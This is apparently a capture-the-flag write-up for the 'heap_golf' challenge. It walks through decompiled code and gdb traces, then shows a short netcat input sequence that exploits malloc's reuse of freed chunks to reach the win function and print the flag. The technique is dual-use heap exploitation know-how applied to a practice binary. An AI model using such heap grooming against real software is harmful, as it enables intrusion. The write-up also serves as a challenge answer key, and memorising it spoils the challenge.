# 	heap_golf
Let's take a look at the binary:```$	file heap_golf1 heap_golf1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=ea4a50178915e1adee07a464e42cec0d6f9a9f62, not stripped$	./heap_golf1 target green provisioned.enter -1 to exit simulation, -2 to free course.Size of green to provision: 32Size of green to provision: -2target green provisioned.Size of green to provision: -1```
So we are dealing with a 64 bit binary that provides us with three different inputs. When we take a look at the IDA pseudocode, we see this:
```int __cdecl main(int argc, const char **argv, const char **envp){  void *v3; // rax@8  int result; // eax@12  __int64 v5; // rcx@12  signed int x; // [sp+4h] [bp-1BCh]@1  signed int i; // [sp+8h] [bp-1B8h]@4  int input; // [sp+Ch] [bp-1B4h]@2  void *target; // [sp+10h] [bp-1B0h]@1  void *ptr; // [sp+20h] [bp-1A0h]@1  char buf; // [sp+1B0h] [bp-10h]@2  __int64 v12; // [sp+1B8h] [bp-8h]@1
  v12 = *MK_FP(__FS__, 40LL);  target = malloc(0x20uLL);  write(0, "target green provisioned.\n", 0x1AuLL);  ptr = target;  x = 1;  write(0, "enter -1 to exit simulation, -2 to free course.\n", 0x30uLL);  while ( 1 )  {    write(0, "Size of green to provision: ", 0x1CuLL);    read(1, &buf, 4uLL);    input = atoi(&buf;;    if ( input == -1 )      break;    if ( input == -2 )    {      for ( i = 0; i < x; ++i )        free(*(&ptr + i));      ptr = malloc(0x20uLL);      write(0, "target green provisioned.\n", 0x1AuLL);      x = 1;    }    else    {      v3 = malloc(input);      *(_DWORD *)v3 = x;      *(&ptr + x++) = v3;      if ( x == 48 )      {        write(0, "You're too far under par.", 0x19uLL);        break;      }    }    if ( *(_DWORD *)target == 4 )      win_func();  }  result = 0;  v5 = *MK_FP(__FS__, 40LL) ^ v12;  return result;}```
So we can see what's going on. This is a heap grooming challenge. It stores and array of heap pointers in `ptr`. The first entry in the heap pointers array is `target`, which we have to set equal to `0x4` without any direct way of doing so. If we input anything other than a `-1` or `-2`, then it takes the integer value we passed it and mallocs it. It will then dereference it and set it equal to the heap pointer counter `x`. After that it will append it to the end of the heap pointers. If we input a `-1` the binary ends. If we input a `-2` it will go through and free all of the pointers, and malloc a new first pointer and reset the pointer counter `x` to 0.
Malloc will reuse previously freed chunks if they are the right size for performance reasons. What we can do is allocate `4` `0x20` block chunks (not including the one initially allocated), and then free them. Then when we allocate `0x20` byte chunks, we will get those same chunks back in the inverse order they were freed (so the last chunk we made will be the first allocated). Then the fourth chunk we allocate will be the first chunk allocated and have the same address as `target`, and also have the pointer counter `x` written to it:
Pointers being freed in gdb (in this case it's `0x602260`):```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]     0x4007f0 <main+233>       mov    rdi, rax →   0x4007f3 <main+236>       call   0x400570 <free@plt>   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018        0x400576 <free@plt+6>     push   0x0        0x40057b <free@plt+11>    jmp    0x400560        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020        0x400586 <write@plt+6>    push   0x1        0x40058b <write@plt+11>   jmp    0x400560──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────free@plt (   $rdi = 0x0000000000602260 → 0x0000000000000000,   $rsi = 0x00000000ffffffda,   $rdx = 0x8000000000000000)```
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]     0x4007f0 <main+233>       mov    rdi, rax →   0x4007f3 <main+236>       call   0x400570 <free@plt>   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018        0x400576 <free@plt+6>     push   0x0        0x40057b <free@plt+11>    jmp    0x400560        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020        0x400586 <write@plt+6>    push   0x1        0x40058b <write@plt+11>   jmp    0x400560──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────free@plt (   $rdi = 0x0000000000602290 → 0x0000000000000001,   $rsi = 0x0000000000602018 → 0x0000000000000000,   $rdx = 0x0000000000602010 → 0x0000000000000100)──────────────────────────────────────────────────────────────────────────────────────── threads ────```
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]     0x4007f0 <main+233>       mov    rdi, rax →   0x4007f3 <main+236>       call   0x400570 <free@plt>   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018        0x400576 <free@plt+6>     push   0x0        0x40057b <free@plt+11>    jmp    0x400560        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020        0x400586 <write@plt+6>    push   0x1        0x40058b <write@plt+11>   jmp    0x400560──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────free@plt (   $rdi = 0x00000000006022c0 → 0x0000000000000002,   $rsi = 0x0000000000602018 → 0x0000000000000000,   $rdx = 0x0000000000602010 → 0x0000000000000200)```
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]     0x4007f0 <main+233>       mov    rdi, rax →   0x4007f3 <main+236>       call   0x400570 <free@plt>   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018        0x400576 <free@plt+6>     push   0x0        0x40057b <free@plt+11>    jmp    0x400560        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020        0x400586 <write@plt+6>    push   0x1        0x40058b <write@plt+11>   jmp    0x400560──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────free@plt (   $rdi = 0x00000000006022f0 → 0x0000000000000003,   $rsi = 0x0000000000602018 → 0x0000000000000000,   $rdx = 0x0000000000602010 → 0x0000000000000300)``` 
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x4007e5 <main+222>       dec    DWORD PTR [rax-0x68]     0x4007e8 <main+225>       mov    rax, QWORD PTR [rbp+rax*8-0x1a0]     0x4007f0 <main+233>       mov    rdi, rax →   0x4007f3 <main+236>       call   0x400570 <free@plt>   ↳    0x400570 <free@plt+0>     jmp    QWORD PTR [rip+0x200aa2]        # 0x601018        0x400576 <free@plt+6>     push   0x0        0x40057b <free@plt+11>    jmp    0x400560        0x400580 <write@plt+0>    jmp    QWORD PTR [rip+0x200a9a]        # 0x601020        0x400586 <write@plt+6>    push   0x1        0x40058b <write@plt+11>   jmp    0x400560──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────free@plt (   $rdi = 0x0000000000602320 → 0x0000000000000004,   $rsi = 0x0000000000602018 → 0x0000000000000000,   $rdx = 0x0000000000602010 → 0x0000000000000400)```
When they are reallocated:
```──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x40084e <main+327>       mov    QWORD PTR [rbp-0x1a8], rax     0x400855 <main+334>       mov    rax, QWORD PTR [rbp-0x1a8]     0x40085c <main+341>       mov    edx, DWORD PTR [rbp-0x1bc] →   0x400862 <main+347>       mov    DWORD PTR [rax], edx     0x400864 <main+349>       mov    eax, DWORD PTR [rbp-0x1bc]     0x40086a <main+355>       cdqe        0x40086c <main+357>       mov    rdx, QWORD PTR [rbp-0x1a8]     0x400873 <main+364>       mov    QWORD PTR [rbp+rax*8-0x1a0], rdx     0x40087b <main+372>       add    DWORD PTR [rbp-0x1bc], 0x1──────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "heap_golf1", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400862 → main()─────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x0000000000400862 in main ()gef➤  p $edx$1 = 0x1gef➤  p $rax```
```Breakpoint 2, 0x0000000000400862 in main ()gef➤  p $edx$3 = 0x2gef➤  p $rax$4 = 0x6022c0```
```Breakpoint 2, 0x0000000000400862 in main ()gef➤  p $edx$5 = 0x3gef➤  p $rax$6 = 0x602290```
```Breakpoint 2, 0x0000000000400862 in main ()gef➤  p $edx$7 = 0x4gef➤  p $rax$8 = 0x602260```
With that last iteration, we finally write the value `0x4` to the address of target `0x602260`. With that we can capture the flag.
```$	nc chal1.swampctf.com 1066target green provisioned.enter -1 to exit simulation, -2 to free course.Size of green to provision: 32Size of green to provision: 32Size of green to provision: 32Size of green to provision: 32Size of green to provision: -2target green provisioned.Size of green to provision: 32Size of green to provision: 32Size of green to provision: 32Size of green to provision: 32flag{Gr34t_J0b_t0ur1ng_0ur_d1gi7al_L1nk5}```